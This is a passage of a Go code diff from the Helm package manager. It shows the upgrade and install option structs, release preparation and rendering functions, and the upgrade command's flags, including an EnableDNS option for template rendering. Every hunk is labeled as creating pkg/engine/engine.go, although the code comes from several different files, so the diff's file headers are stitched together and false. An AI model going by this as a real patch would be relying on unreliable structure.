Upgrade operation was done as part of a\n+\t// pure upgrade (Upgrade.Install == false) or as part of an install-or-upgrade operation\n+\t// (Upgrade.Install == true).\n+\t//\n+\t// Setting this to `true` will NOT cause `Upgrade` to perform an install if the release does not exist.\n+\t// That process must be handled by creating an Install action directly. See cmd/upgrade.go for an\n+\t// example of how this flag is used.\n+\tInstall bool\n+\t// Devel indicates that the operation is done in devel mode.\n+\tDevel bool\n+\t// Namespace is the namespace in which this operation should be performed.\n+\tNamespace string\n+\t// SkipCRDs skips installing CRDs when install flag is enabled during upgrade\n+\tSkipCRDs bool\n+\t// Timeout is the timeout for this operation\n+\tTimeout time.Duration\n+\t// Wait determines whether the wait operation should be performed after the upgrade is requested.\n+\tWait bool\n+\t// WaitForJobs determines whether the wait operation for the Jobs should be performed after the upgrade is requested.\n+\tWaitForJobs bool\n+\t// DisableHooks disables hook processing if set to true.\n+\tDisableHooks bool\n+\t// DryRun controls whether the operation is prepared, but not executed.\n+\t// If `true`, the upgrade is prepared but not performed.\n+\tDryRun bool\n+\t// Force will, if set to `true`, ignore certain warnings and perform the upgrade anyway.\n+\t//\n+\t// This should be used with caution.\n+\tForce bool\n+\t// ResetValues will reset the values to the chart's built-ins rather than merging with existing.\n+\tResetValues bool\n+\t// ReuseValues will re-use the user's last supplied values.\n+\tReuseValues bool\n+\t// Recreate will (if true) recreate pods after a rollback.\n+\tRecreate bool\n+\t// MaxHistory limits the maximum number of revisions saved per release\n+\tMaxHistory int\n+\t// Atomic, if true, will roll back on failure.\n+\tAtomic bool\n+\t// CleanupOnFail will, if true, cause the upgrade to delete newly-created resources on a failed update.\n+\tCleanupOnFail bool\n+\t// SubNotes determines whether sub-notes are rendered in the chart.\n+\tSubNotes bool\n+\t// Description is the description of this operation\n+\tDescription string\n+\t// PostRender is an optional post-renderer\n+\t//\n+\t// If this is non-nil, then after templates are rendered, they will be sent to the\n+\t// post renderer before sending to the Kubernetes API server.\n+\tPostRenderer postrender.PostRenderer\n+\t// DisableOpenAPIValidation controls whether OpenAPI validation is enforced.\n+\tDisableOpenAPIValidation bool\n+\t// Get missing dependencies\n+\tDependencyUpdate bool\n+\t// Lock to control raceconditions when the process receives a SIGTERM\n+\tLock sync.Mutex\n+\t// Enable DNS lookups when rendering templates\n+\tEnableDNS bool\n+}\n\n--- /dev/null\n+++ b/pkg/engine/engine.go\n@@ -0,0 +1,95 @@\n+func (u *Upgrade) prepareUpgrade(name string, chart *chart.Chart, vals map[string]interface{}) (*release.Release, *release.Release, error) {\n+\tif chart == nil {\n+\t\treturn nil, nil, errMissingChart\n+\t}\n+\n+\t// finds the last non-deleted release with the given name\n+\tlastRelease, err := u.cfg.Releases.Last(name)\n+\tif err != nil {\n+\t\t// to keep existing behavior of returning the \"%q has no deployed releases\" error when an existing release does not exist\n+\t\tif errors.Is(err, driver.ErrReleaseNotFound) {\n+\t\t\treturn nil, nil, driver.NewErrNoDeployedReleases(name)\n+\t\t}\n+\t\treturn nil, nil, err\n+\t}\n+\n+\t// Concurrent `helm upgrade`s will either fail here with `errPending` or when creating the release with \"already exists\". This should act as a pessimistic lock.\n+\tif lastRelease.Info.Status.IsPending() {\n+\t\treturn nil, nil, errPending\n+\t}\n+\n+\tvar currentRelease *release.Release\n+\tif lastRelease.Info.Status == release.StatusDeployed {\n+\t\t// no need to retrieve the last deployed release from storage as the last release is deployed\n+\t\tcurrentRelease = lastRelease\n+\t} else {\n+\t\t// finds the deployed release with the given name\n+\t\tcurrentRelease, err = u.cfg.Releases.Deployed(name)\n+\t\tif err != nil {\n+\t\t\tif errors.Is(err, driver.ErrNoDeployedReleases) &&\n+\t\t\t\t(lastRelease.Info.Status == release.StatusFailed || lastRelease.Info.Status == release.StatusSuperseded) {\n+\t\t\t\tcurrentRelease = lastRelease\n+\t\t\t} else {\n+\t\t\t\treturn nil, nil, err\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\t// determine if values will be reused\n+\tvals, err = u.reuseValues(chart, currentRelease, vals)\n+\tif err != nil {\n+\t\treturn nil, nil, err\n+\t}\n+\n+\tif err := chartutil.ProcessDependencies(chart, vals); err != nil {\n+\t\treturn nil, nil, err\n+\t}\n+\n+\t// Increment revision count. This is passed to templates, and also stored on\n+\t// the release object.\n+\trevision := lastRelease.Version + 1\n+\n+\toptions := chartutil.ReleaseOptions{\n+\t\tName:      name,\n+\t\tNamespace: currentRelease.Namespace,\n+\t\tRevision:  revision,\n+\t\tIsUpgrade: true,\n+\t}\n+\n+\tcaps, err := u.cfg.getCapabilities()\n+\tif err != nil {\n+\t\treturn nil, nil, err\n+\t}\n+\tvaluesToRender, err := chartutil.ToRenderValues(chart, vals, options, caps)\n+\tif err != nil {\n+\t\treturn nil, nil, err\n+\t}\n+\n+\thooks, manifestDoc, notesTxt, err := u.cfg.renderResources(chart, valuesToRender, \"\", \"\", u.SubNotes, false, false, u.PostRenderer, u.DryRun, u.EnableDNS)\n+\tif err != nil {\n+\t\treturn nil, nil, err\n+\t}\n+\n+\t// Store an upgraded release.\n+\tupgradedRelease := &release.Release{\n+\t\tName:      name,\n+\t\tNamespace: currentRelease.Namespace,\n+\t\tChart:     chart,\n+\t\tConfig:    vals,\n+\t\tInfo: &release.Info{\n+\t\t\tFirstDeployed: currentRelease.Info.FirstDeployed,\n+\t\t\tLastDeployed:  Timestamper(),\n+\t\t\tStatus:        release.StatusPendingUpgrade,\n+\t\t\tDescription:   \"Preparing upgrade\", // This should be overwritten later.\n+\t\t},\n+\t\tVersion:  revision,\n+\t\tManifest: manifestDoc.String(),\n+\t\tHooks:    hooks,\n+\t}\n+\n+\tif len(notesTxt) > 0 {\n+\t\tupgradedRelease.Info.Notes = notesTxt\n+\t}\n+\terr = validateManifest(u.cfg.KubeClient, manifestDoc.Bytes(), !u.DisableOpenAPIValidation)\n+\treturn currentRelease, upgradedRelease, err\n+}\n\n--- /dev/null\n+++ b/pkg/engine/engine.go\n@@ -0,0 +1,43 @@\n+type Install struct {\n+\tcfg *Configuration\n+\n+\tChartPathOptions\n+\n+\tClientOnly               bool\n+\tForce                    bool\n+\tCreateNamespace          bool\n+\tDryRun                   bool\n+\tDisableHooks             bool\n+\tReplace                  bool\n+\tWait                     bool\n+\tWaitForJobs              bool\n+\tDevel                    bool\n+\tDependencyUpdate         bool\n+\tTimeout                  time.Duration\n+\tNamespace                string\n+\tReleaseName              string\n+\tGenerateName             bool\n+\tNameTemplate             string\n+\tDescription              string\n+\tOutputDir                string\n+\tAtomic                   bool\n+\tSkipCRDs                 bool\n+\tSubNotes                 bool\n+\tDisableOpenAPIValidation bool\n+\tIncludeCRDs              bool\n+\t// KubeVersion allows specifying a custom kubernetes version to use and\n+\t// APIVersions allows a manual set of supported API Versions to be passed\n+\t// (for things like templating). These are ignored if ClientOnly is false\n+\tKubeVersion *chartutil.KubeVersion\n+\tAPIVersions chartutil.VersionSet\n+\t// Used by helm template to render charts with .Release.IsUpgrade. Ignored if Dry-Run is false\n+\tIsUpgrade bool\n+\t// Enable DNS lookups when rendering templates\n+\tEnableDNS bool\n+\t// Used by helm template to add the release as part of OutputDir path\n+\t// OutputDir/<ReleaseName>\n+\tUseReleaseName bool\n+\tPostRenderer   postrender.PostRenderer\n+\t// Lock to control raceconditions when the process receives a SIGTERM\n+\tLock sync.Mutex\n+}\n\n--- /dev/null\n+++ b/pkg/engine/engine.go\n@@ -0,0 +1,166 @@\n+func (i *Install) RunWithContext(ctx context.Context, chrt *chart.Chart, vals map[string]interface{}) (*release.Release, error) {\n+\t// Check reachability of cluster unless in client-only mode (e.g. `helm template` without `--validate`)\n+\tif !i.ClientOnly {\n+\t\tif err := i.cfg.KubeClient.IsReachable(); err != nil {\n+\t\t\treturn nil, err\n+\t\t}\n+\t}\n+\n+\tif err := i.availableName(); err != nil {\n+\t\treturn nil, err\n+\t}\n+\n+\tif err := chartutil.ProcessDependencies(chrt, vals); err != nil {\n+\t\treturn nil, err\n+\t}\n+\n+\t// Pre-install anything in the crd/ directory. We do this before Helm\n+\t// contacts the upstream server and builds the capabilities object.\n+\tif crds := chrt.CRDObjects(); !i.ClientOnly && !i.SkipCRDs && len(crds) > 0 {\n+\t\t// On dry run, bail here\n+\t\tif i.DryRun {\n+\t\t\ti.cfg.Log(\"WARNING: This chart or one of its subcharts contains CRDs. Rendering may fail or contain inaccuracies.\")\n+\t\t} else if err := i.installCRDs(crds); err != nil {\n+\t\t\treturn nil, err\n+\t\t}\n+\t}\n+\n+\tif i.ClientOnly {\n+\t\t// Add mock objects in here so it doesn't use Kube API server\n+\t\t// NOTE(bacongobbler): used for `helm template`\n+\t\ti.cfg.Capabilities = chartutil.DefaultCapabilities.Copy()\n+\t\tif i.KubeVersion != nil {\n+\t\t\ti.cfg.Capabilities.KubeVersion = *i.KubeVersion\n+\t\t}\n+\t\ti.cfg.Capabilities.APIVersions = append(i.cfg.Capabilities.APIVersions, i.APIVersions...)\n+\t\ti.cfg.KubeClient = &kubefake.PrintingKubeClient{Out: ioutil.Discard}\n+\n+\t\tmem := driver.NewMemory()\n+\t\tmem.SetNamespace(i.Namespace)\n+\t\ti.cfg.Releases = storage.Init(mem)\n+\t} else if !i.ClientOnly && len(i.APIVersions) > 0 {\n+\t\ti.cfg.Log(\"API Version list given outside of client only mode, this list will be ignored\")\n+\t}\n+\n+\t// Make sure if Atomic is set, that wait is set as well. This makes it so\n+\t// the user doesn't have to specify both\n+\ti.Wait = i.Wait || i.Atomic\n+\n+\tcaps, err := i.cfg.getCapabilities()\n+\tif err != nil {\n+\t\treturn nil, err\n+\t}\n+\n+\t// special case for helm template --is-upgrade\n+\tisUpgrade := i.IsUpgrade && i.DryRun\n+\toptions := chartutil.ReleaseOptions{\n+\t\tName:      i.ReleaseName,\n+\t\tNamespace: i.Namespace,\n+\t\tRevision:  1,\n+\t\tIsInstall: !isUpgrade,\n+\t\tIsUpgrade: isUpgrade,\n+\t}\n+\tvaluesToRender, err := chartutil.ToRenderValues(chrt, vals, options, caps)\n+\tif err != nil {\n+\t\treturn nil, err\n+\t}\n+\n+\trel := i.createRelease(chrt, vals)\n+\n+\tvar manifestDoc *bytes.Buffer\n+\trel.Hooks, manifestDoc, rel.Info.Notes, err = i.cfg.renderResources(chrt, valuesToRender, i.ReleaseName, i.OutputDir, i.SubNotes, i.UseReleaseName, i.IncludeCRDs, i.PostRenderer, i.DryRun, i.EnableDNS)\n+\t// Even for errors, attach this if available\n+\tif manifestDoc != nil {\n+\t\trel.Manifest = manifestDoc.String()\n+\t}\n+\t// Check error from render\n+\tif err != nil {\n+\t\trel.SetStatus(release.StatusFailed, fmt.Sprintf(\"failed to render resource: %s\", err.Error()))\n+\t\t// Return a release with partial data so that the client can show debugging information.\n+\t\treturn rel, err\n+\t}\n+\n+\t// Mark this release as in-progress\n+\trel.SetStatus(release.StatusPendingInstall, \"Initial install underway\")\n+\n+\tvar toBeAdopted kube.ResourceList\n+\tresources, err := i.cfg.KubeClient.Build(bytes.NewBufferString(rel.Manifest), !i.DisableOpenAPIValidation)\n+\tif err != nil {\n+\t\treturn nil, errors.Wrap(err, \"unable to build kubernetes objects from release manifest\")\n+\t}\n+\n+\t// It is safe to use \"force\" here because these are resources currently rendered by the chart.\n+\terr = resources.Visit(setMetadataVisitor(rel.Name, rel.Namespace, true))\n+\tif err != nil {\n+\t\treturn nil, err\n+\t}\n+\n+\t// Install requires an extra validation step of checking that resources\n+\t// don't already exist before we actually create resources. If we continue\n+\t// forward and create the release object with resources that already exist,\n+\t// we'll end up in a state where we will delete those resources upon\n+\t// deleting the release because the manifest will be pointing at that\n+\t// resource\n+\tif !i.ClientOnly && !isUpgrade && len(resources) > 0 {\n+\t\ttoBeAdopted, err = existingResourceConflict(resources, rel.Name, rel.Namespace)\n+\t\tif err != nil {\n+\t\t\treturn nil, errors.Wrap(err, \"rendered manifests contain a resource that already exists. Unable to continue with install\")\n+\t\t}\n+\t}\n+\n+\t// Bail out here if it is a dry run\n+\tif i.DryRun {\n+\t\trel.Info.Description = \"Dry run complete\"\n+\t\treturn rel, nil\n+\t}\n+\n+\tif i.CreateNamespace {\n+\t\tns := &v1.Namespace{\n+\t\t\tTypeMeta: metav1.TypeMeta{\n+\t\t\t\tAPIVersion: \"v1\",\n+\t\t\t\tKind:       \"Namespace\",\n+\t\t\t},\n+\t\t\tObjectMeta: metav1.ObjectMeta{\n+\t\t\t\tName: i.Namespace,\n+\t\t\t\tLabels: map[string]string{\n+\t\t\t\t\t\"name\": i.Namespace,\n+\t\t\t\t},\n+\t\t\t},\n+\t\t}\n+\t\tbuf, err := yaml.Marshal(ns)\n+\t\tif err != nil {\n+\t\t\treturn nil, err\n+\t\t}\n+\t\tresourceList, err := i.cfg.KubeClient.Build(bytes.NewBuffer(buf), true)\n+\t\tif err != nil {\n+\t\t\treturn nil, err\n+\t\t}\n+\t\tif _, err := i.cfg.KubeClient.Create(resourceList); err != nil && !apierrors.IsAlreadyExists(err) {\n+\t\t\treturn nil, err\n+\t\t}\n+\t}\n+\n+\t// If Replace is true, we need to supercede the last release.\n+\tif i.Replace {\n+\t\tif err := i.replaceRelease(rel); err != nil {\n+\t\t\treturn nil, err\n+\t\t}\n+\t}\n+\n+\t// Store the release in history before continuing (new in Helm 3). We always know\n+\t// that this is a create operation.\n+\tif err := i.cfg.Releases.Create(rel); err != nil {\n+\t\t// We could try to recover gracefully here, but since nothing has been installed\n+\t\t// yet, this is probably safer than trying to continue when we know storage is\n+\t\t// not working.\n+\t\treturn rel, err\n+\t}\n+\trChan := make(chan resultMessage)\n+\tdoneChan := make(chan struct{})\n+\tdefer close(doneChan)\n+\tgo i.performInstall(rChan, rel, toBeAdopted, resources)\n+\tgo i.handleContext(ctx, rChan, doneChan, rel)\n+\tresult := <-rChan\n+\t//start preformInstall go routine\n+\treturn result.r, result.e\n+}\n\n--- /dev/null\n+++ b/pkg/engine/engine.go\n@@ -0,0 +1,126 @@\n+func (cfg *Configuration) renderResources(ch *chart.Chart, values chartutil.Values, releaseName, outputDir string, subNotes, useReleaseName, includeCrds bool, pr postrender.PostRenderer, dryRun, enableDNS bool) ([]*release.Hook, *bytes.Buffer, string, error) {\n+\ths := []*release.Hook{}\n+\tb := bytes.NewBuffer(nil)\n+\n+\tcaps, err := cfg.getCapabilities()\n+\tif err != nil {\n+\t\treturn hs, b, \"\", err\n+\t}\n+\n+\tif ch.Metadata.KubeVersion != \"\" {\n+\t\tif !chartutil.IsCompatibleRange(ch.Metadata.KubeVersion, caps.KubeVersion.String()) {\n+\t\t\treturn hs, b, \"\", errors.Errorf(\"chart requires kubeVersion: %s which is incompatible with Kubernetes %s\", ch.Metadata.KubeVersion, caps.KubeVersion.String())\n+\t\t}\n+\t}\n+\n+\tvar files map[string]string\n+\tvar err2 error\n+\n+\t// A `helm template` or `helm install --dry-run` should not talk to the remote cluster.\n+\t// It will break in interesting and exotic ways because other data (e.g. discovery)\n+\t// is mocked. It is not up to the template author to decide when the user wants to\n+\t// connect to the cluster. So when the user says to dry run, respect the user's\n+\t// wishes and do not connect to the cluster.\n+\tif !dryRun && cfg.RESTClientGetter != nil {\n+\t\trestConfig, err := cfg.RESTClientGetter.ToRESTConfig()\n+\t\tif err != nil {\n+\t\t\treturn hs, b, \"\", err\n+\t\t}\n+\t\te := engine.New(restConfig)\n+\t\te.EnableDNS = enableDNS\n+\t\tfiles, err2 = e.Render(ch, values)\n+\t} else {\n+\t\tvar e engine.Engine\n+\t\te.EnableDNS = enableDNS\n+\t\tfiles, err2 = e.Render(ch, values)\n+\t}\n+\n+\tif err2 != nil {\n+\t\treturn hs, b, \"\", err2\n+\t}\n+\n+\t// NOTES.txt gets rendered like all the other files, but because it's not a hook nor a resource,\n+\t// pull it out of here into a separate file so that we can actually use the output of the rendered\n+\t// text file. We have to spin through this map because the file contains path information, so we\n+\t// look for terminating NOTES.txt. We also remove it from the files so that we don't have to skip\n+\t// it in the sortHooks.\n+\tvar notesBuffer bytes.Buffer\n+\tfor k, v := range files {\n+\t\tif strings.HasSuffix(k, notesFileSuffix) {\n+\t\t\tif subNotes || (k == path.Join(ch.Name(), \"templates\", notesFileSuffix)) {\n+\t\t\t\t// If buffer contains data, add newline before adding more\n+\t\t\t\tif notesBuffer.Len() > 0 {\n+\t\t\t\t\tnotesBuffer.WriteString(\"\\n\")\n+\t\t\t\t}\n+\t\t\t\tnotesBuffer.WriteString(v)\n+\t\t\t}\n+\t\t\tdelete(files, k)\n+\t\t}\n+\t}\n+\tnotes := notesBuffer.String()\n+\n+\t// Sort hooks, manifests, and partials. Only hooks and manifests are returned,\n+\t// as partials are not used after renderer.Render. Empty manifests are also\n+\t// removed here.\n+\ths, manifests, err := releaseutil.SortManifests(files, caps.APIVersions, releaseutil.InstallOrder)\n+\tif err != nil {\n+\t\t// By catching parse errors here, we can prevent bogus releases from going\n+\t\t// to Kubernetes.\n+\t\t//\n+\t\t// We return the files as a big blob of data to help the user debug parser\n+\t\t// errors.\n+\t\tfor name, content := range files {\n+\t\t\tif strings.TrimSpace(content) == \"\" {\n+\t\t\t\tcontinue\n+\t\t\t}\n+\t\t\tfmt.Fprintf(b, \"---\\n# Source: %s\\n%s\\n\", name, content)\n+\t\t}\n+\t\treturn hs, b, \"\", err\n+\t}\n+\n+\t// Aggregate all valid manifests into one big doc.\n+\tfileWritten := make(map[string]bool)\n+\n+\tif includeCrds {\n+\t\tfor _, crd := range ch.CRDObjects() {\n+\t\t\tif outputDir == \"\" {\n+\t\t\t\tfmt.Fprintf(b, \"---\\n# Source: %s\\n%s\\n\", crd.Name, string(crd.File.Data[:]))\n+\t\t\t} else {\n+\t\t\t\terr = writeToFile(outputDir, crd.Filename, string(crd.File.Data[:]), fileWritten[crd.Name])\n+\t\t\t\tif err != nil {\n+\t\t\t\t\treturn hs, b, \"\", err\n+\t\t\t\t}\n+\t\t\t\tfileWritten[crd.Name] = true\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\tfor _, m := range manifests {\n+\t\tif outputDir == \"\" {\n+\t\t\tfmt.Fprintf(b, \"---\\n# Source: %s\\n%s\\n\", m.Name, m.Content)\n+\t\t} else {\n+\t\t\tnewDir := outputDir\n+\t\t\tif useReleaseName {\n+\t\t\t\tnewDir = filepath.Join(outputDir, releaseName)\n+\t\t\t}\n+\t\t\t// NOTE: We do not have to worry about the post-renderer because\n+\t\t\t// output dir is only used by `helm template`. In the next major\n+\t\t\t// release, we should move this logic to template only as it is not\n+\t\t\t// used by install or upgrade\n+\t\t\terr = writeToFile(newDir, m.Name, m.Content, fileWritten[m.Name])\n+\t\t\tif err != nil {\n+\t\t\t\treturn hs, b, \"\", err\n+\t\t\t}\n+\t\t\tfileWritten[m.Name] = true\n+\t\t}\n+\t}\n+\n+\tif pr != nil {\n+\t\tb, err = pr.Run(b)\n+\t\tif err != nil {\n+\t\t\treturn hs, b, notes, errors.Wrap(err, \"error while running post render on files\")\n+\t\t}\n+\t}\n+\n+\treturn hs, b, notes, nil\n+}\n\n--- /dev/null\n+++ b/pkg/engine/engine.go\n@@ -0,0 +1,185 @@\n+func newUpgradeCmd(cfg *action.Configuration, out io.Writer) *cobra.Command {\n+\tclient := action.NewUpgrade(cfg)\n+\tvalueOpts := &values.Options{}\n+\tvar outfmt output.Format\n+\tvar createNamespace bool\n+\n+\tcmd := &cobra.Command{\n+\t\tUse:   \"upgrade [RELEASE] [CHART]\",\n+\t\tShort: \"upgrade a release\",\n+\t\tLong:  upgradeDesc,\n+\t\tArgs:  require.ExactArgs(2),\n+\t\tValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {\n+\t\t\tif len(args) == 0 {\n+\t\t\t\treturn compListReleases(toComplete, args, cfg)\n+\t\t\t}\n+\t\t\tif len(args) == 1 {\n+\t\t\t\treturn compListCharts(toComplete, true)\n+\t\t\t}\n+\t\t\treturn nil, cobra.ShellCompDirectiveNoFileComp\n+\t\t},\n+\t\tRunE: func(cmd *cobra.Command, args []string) error {\n+\t\t\tclient.Namespace = settings.Namespace()\n+\n+\t\t\t// Fixes #7002 - Support reading values from STDIN for `upgrade` command\n+\t\t\t// Must load values AFTER determining if we have to call install so that values loaded from stdin are are not read twice\n+\t\t\tif client.Install {\n+\t\t\t\t// If a release does not exist, install it.\n+\t\t\t\thistClient := action.NewHistory(cfg)\n+\t\t\t\thistClient.Max = 1\n+\t\t\t\tif _, err := histClient.Run(args[0]); err == driver.ErrReleaseNotFound {\n+\t\t\t\t\t// Only print this to stdout for table output\n+\t\t\t\t\tif outfmt == output.Table {\n+\t\t\t\t\t\tfmt.Fprintf(out, \"Release %q does not exist. Installing it now.\\n\", args[0])\n+\t\t\t\t\t}\n+\t\t\t\t\tinstClient := action.NewInstall(cfg)\n+\t\t\t\t\tinstClient.CreateNamespace = createNamespace\n+\t\t\t\t\tinstClient.ChartPathOptions = client.ChartPathOptions\n+\t\t\t\t\tinstClient.Force = client.Force\n+\t\t\t\t\tinstClient.DryRun = client.DryRun\n+\t\t\t\t\tinstClient.DisableHooks = client.DisableHooks\n+\t\t\t\t\tinstClient.SkipCRDs = client.SkipCRDs\n+\t\t\t\t\tinstClient.Timeout = client.Timeout\n+\t\t\t\t\tinstClient.Wait = client.Wait\n+\t\t\t\t\tinstClient.WaitForJobs = client.WaitForJobs\n+\t\t\t\t\tinstClient.Devel = client.Devel\n+\t\t\t\t\tinstClient.Namespace = client.Namespace\n+\t\t\t\t\tinstClient.Atomic = client.Atomic\n+\t\t\t\t\tinstClient.PostRenderer = client.PostRenderer\n+\t\t\t\t\tinstClient.DisableOpenAPIValidation = client.DisableOpenAPIValidation\n+\t\t\t\t\tinstClient.SubNotes = client.SubNotes\n+\t\t\t\t\tinstClient.Description = client.Description\n+\t\t\t\t\tinstClient.DependencyUpdate = client.DependencyUpdate\n+\t\t\t\t\tinstClient.EnableDNS = client.EnableDNS\n+\n+\t\t\t\t\trel, err := runInstall(args, instClient, valueOpts, out)\n+\t\t\t\t\tif err != nil {\n+\t\t\t\t\t\treturn err\n+\t\t\t\t\t}\n+\t\t\t\t\treturn outfmt.Write(out, &statusPrinter{rel, settings.Debug, false, false})\n+\t\t\t\t} else if err != nil {\n+\t\t\t\t\treturn err\n+\t\t\t\t}\n+\t\t\t}\n+\n+\t\t\tif client.Version == \"\" && client.Devel {\n+\t\t\t\tdebug(\"setting version to >0.0.0-0\")\n+\t\t\t\tclient.Version = \">0.0.0-0\"\n+\t\t\t}\n+\n+\t\t\tchartPath, err := client.ChartPathOptions.LocateChart(args[1], settings)\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\n+\t\t\tp := getter.All(settings)\n+\t\t\tvals, err := valueOpts.MergeValues(p)\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\n+\t\t\t// Check chart dependencies to make sure all are present in /charts\n+\t\t\tch, err := loader.Load(chartPath)\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t\tif req := ch.Metadata.Dependencies; req != nil {\n+\t\t\t\tif err := action.CheckDependencies(ch, req); err != nil {\n+\t\t\t\t\terr = errors.Wrap(err, \"An error occurred while checking for chart dependencies. You may need to run `helm dependency build` to fetch missing dependencies\")\n+\t\t\t\t\tif client.DependencyUpdate {\n+\t\t\t\t\t\tman := &downloader.Manager{\n+\t\t\t\t\t\t\tOut:              out,\n+\t\t\t\t\t\t\tChartPath:        chartPath,\n+\t\t\t\t\t\t\tKeyring:          client.ChartPathOptions.Keyring,\n+\t\t\t\t\t\t\tSkipUpdate:       false,\n+\t\t\t\t\t\t\tGetters:          p,\n+\t\t\t\t\t\t\tRepositoryConfig: settings.RepositoryConfig,\n+\t\t\t\t\t\t\tRepositoryCache:  settings.RepositoryCache,\n+\t\t\t\t\t\t\tDebug:            settings.Debug,\n+\t\t\t\t\t\t}\n+\t\t\t\t\t\tif err := man.Update(); err != nil {\n+\t\t\t\t\t\t\treturn err\n+\t\t\t\t\t\t}\n+\t\t\t\t\t\t// Reload the chart with the updated Chart.lock file.\n+\t\t\t\t\t\tif ch, err = loader.Load(chartPath); err != nil {\n+\t\t\t\t\t\t\treturn errors.Wrap(err, \"failed reloading chart after repo update\")\n+\t\t\t\t\t\t}\n+\t\t\t\t\t} else {\n+\t\t\t\t\t\treturn err\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t}\n+\n+\t\t\tif ch.Metadata.Deprecated {\n+\t\t\t\twarning(\"This chart is deprecated\")\n+\t\t\t}\n+\n+\t\t\t// Create context and prepare the handle of SIGTERM\n+\t\t\tctx := context.Background()\n+\t\t\tctx, cancel := context.WithCancel(ctx)\n+\n+\t\t\t// Set up channel on which to send signal notifications.\n+\t\t\t// We must use a buffered channel or risk missing the signal\n+\t\t\t// if we're not ready to receive when the signal is sent.\n+\t\t\tcSignal := make(chan os.Signal, 2)\n+\t\t\tsignal.Notify(cSignal, os.Interrupt, syscall.SIGTERM)\n+\t\t\tgo func() {\n+\t\t\t\t<-cSignal\n+\t\t\t\tfmt.Fprintf(out, \"Release %s has been cancelled.\\n\", args[0])\n+\t\t\t\tcancel()\n+\t\t\t}()\n+\n+\t\t\trel, err := client.RunWithContext(ctx, args[0], ch, vals)\n+\t\t\tif err != nil {\n+\t\t\t\treturn errors.Wrap(err, \"UPGRADE FAILED\")\n+\t\t\t}\n+\n+\t\t\tif outfmt == output.Table {\n+\t\t\t\tfmt.Fprintf(out, \"Release %q has been upgraded. Happy Helming!\\n\", args[0])\n+\t\t\t}\n+\n+\t\t\treturn outfmt.Write(out, &statusPrinter{rel, settings.Debug, false, false})\n+\t\t},\n+\t}\n+\n+\tf := cmd.Flags()\n+\tf.BoolVar(&createNamespace, \"create-namespace\", false, \"if --install is set, create the release namespace if not present\")\n+\tf.BoolVarP(&client.Install, \"install\", \"i\", false, \"if a release by this name doesn't already exist, run an install\")\n+\tf.BoolVar(&client.Devel, \"devel\", false, \"use development versions, too. Equivalent to version '>0.0.0-0'. If --version is set, this is ignored\")\n+\tf.BoolVar(&client.DryRun, \"dry-run\", false, \"simulate an upgrade\")\n+\tf.BoolVar(&client.Recreate, \"recreate-pods\", false, \"performs pods restart for the resource if applicable\")\n+\tf.MarkDeprecated(\"recreate-pods\", \"functionality will no longer be updated. Consult the documentation for other methods to recreate pods\")\n+\tf.BoolVar(&client.Force, \"force\", false, \"force resource updates through a replacement strategy\")\n+\tf.BoolVar(&client.DisableHooks, \"no-hooks\", false, \"disable pre/post upgrade hooks\")\n+\tf.BoolVar(&client.DisableOpenAPIValidation, \"disable-openapi-validation\", false, \"if set, the upgrade process will not validate rendered templates against the Kubernetes OpenAPI Schema\")\n+\tf.BoolVar(&client.SkipCRDs, \"skip-crds\", false, \"if set, no CRDs will be installed when an upgrade is performed with install flag enabled. By default, CRDs are installed if not already present, when an upgrade is performed with install flag enabled\")\n+\tf.DurationVar(&client.Timeout, \"timeout\", 300*time.Second, \"time to wait for any individual Kubernetes operation (like Jobs for hooks)\")\n+\tf.BoolVar(&client.ResetValues, \"reset-values\", false, \"when upgrading, reset the values to the ones built into the chart\")\n+\tf.BoolVar(&client.ReuseValues, \"reuse-values\", false, \"when upgrading, reuse the last release's values and merge in any overrides from the command line via --set and -f. If '--reset-values' is specified, this is ignored\")\n+\tf.BoolVar(&client.Wait, \"wait\", false, \"if set, will wait until all Pods, PVCs, Services, and minimum number of Pods of a Deployment, StatefulSet, or ReplicaSet are in a ready state before marking the release as successful. It will wait for as long as --timeout\")\n+\tf.BoolVar(&client.WaitForJobs, \"wait-for-jobs\", false, \"if set and --wait enabled, will wait until all Jobs have been completed before marking the release as successful. It will wait for as long as --timeout\")\n+\tf.BoolVar(&client.Atomic, \"atomic\", false, \"if set, upgrade process rolls back changes made in case of failed upgrade. The --wait flag will be set automatically if --atomic is used\")\n+\tf.IntVar(&client.MaxHistory, \"history-max\", settings.MaxHistory, \"limit the maximum number of revisions saved per release. Use 0 for no limit\")\n+\tf.BoolVar(&client.CleanupOnFail, \"cleanup-on-fail\", false, \"allow deletion of new resources created in this upgrade when upgrade fails\")\n+\tf.BoolVar(&client.SubNotes, \"render-subchart-notes\", false, \"if set, render subchart notes along with the parent\")\n+\tf.StringVar(&client.Description, \"description\", \"\", \"add a custom description\")\n+\tf.BoolVar(&client.DependencyUpdate, \"dependency-update\", false, \"update dependencies if they are missing before installing the chart\")\n+\tf.BoolVar(&client.EnableDNS, \"enable-dns\", false, \"enable DNS lookups when rendering templates\")\n+\taddChartPathOptionsFlags(f, &client.ChartPathOptions)\n+\taddValueOptionsFlags(f, valueOpts)\n+\tbindOutputFlag(cmd, &outfmt)\n+\tbindPostRenderFlag(cmd, &client.PostRenderer)\n+\n+\terr := cmd.RegisterFlagCompletionFunc(\"version\", func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {\n+\t\tif len(args) != 2 {\n+\t\t\treturn nil, cobra.ShellCompDirectiveNoFileComp\n+\t\t}\n+\t\treturn compVersionFlag(args[1], toComplete)\n+\t})\n+\n+\tif err != nil {\n+\t\tlog.Fatal(err)\n+\t}\n+\n+\treturn cmd\n+}\n\n--- /dev/null\n+++ b/pkg/engine/engine.go\n@@ -0,0 +1,37 @@\n+func addInstallFlags(cmd *cobra.Command, f *pflag.FlagSet, client *action.Install, valueOpts *values.Options) {\n+\tf.BoolVar(&client.CreateNamespace, \"create-namespace\", false, \"create the release namespace if not present\")\n+\tf.BoolVar(&client.DryRun, \"dry-run\", false, \"simulate an install\")\n+\tf.BoolVar(&client.Force, \"force\", false, \"force resource updates through a replacement strategy\")\n+\tf.BoolVar(&client.DisableHooks, \"no-hooks\", false, \"prevent hooks from running during 